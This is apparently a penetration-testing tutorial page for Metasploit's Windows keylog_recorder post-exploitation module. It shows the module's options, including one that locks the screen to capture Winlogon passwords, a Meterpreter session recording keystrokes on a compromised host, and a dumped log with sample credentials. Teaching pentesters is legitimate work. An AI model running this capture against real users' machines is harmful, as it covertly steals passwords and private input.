

Windows Post Capture Modules a11y.text Windows Post Capture Modules keylog_recorder
a11y.text keylog_recorder The keylog_recorder post module captures keystrokes on the
compromised system. Note that you will want to ensure that you have migrated to an interactive
process prior to capturing keystrokes. meterpreter >

Background session 1? [y/N] y

msf > use post/windows/capture/keylog_recorder

msf post(keylog_recorder) > info

Name: Windows Capture Keystroke Recorder

Module: post/windows/capture/keylog_recorder

Platform: Windows

Arch:

Rank: Normal

Provided by:

Carlos Perez

Josh Hale

Basic options:

Name	Current Setting	Required	Description
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CAPTURE_TYPE	explorer	no	Capture keystrokes for Explorer, Winlogon or PID
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(Accepted: explorer, winlogon, pid)

INTERVAL	5	no	Time interval to save keystrokes in seconds
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LOCKSCREEN	false	no	Lock system screen.
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MIGRATE	false	no	Perform Migration.
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PID	no	Process ID to migrate to
SESSION	yes	The session to run this module on.

Description:

This module can be used to capture keystrokes. To capture keystrokes when the session is running as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.

```
msf post(keylog_recorder) > sessions -i 1
```

```
[*] Starting interaction with 1...
```

```
meterpreter > run post/windows/capture/keylog_recorder
```

```
[*] Executing module against V-MAC-XP
```

```
[*] Starting the keystroke sniffer...
```

```
[*] Keystrokes being saved in to
```

/root/.msf4/loot/20110421120355_default_192.168.1.195_host.windows.key_328113.txt

[*] Recording keystrokes...

^C[*] Saving last few keystrokes...

[*] Interrupt

[*] Stopping keystroke sniffer...

meterpreter > After we have finished sniffing keystrokes, or even while the sniffer is still running, we can dump the captured data. root@kali : ~ # cat

/root/.msf4/loot/20110421120355_default_192.168.1.195_host.windows.key_328113.txt Keystroke log started at Thu Apr 21 12:03:55 -0600 2011

root s3cr3t

ftp ftp.micro

soft.com anonymous anon@ano

n.com e quit

root@kali:~# [Next Post](#) [Gather Modules](#) [Prev Windows](#)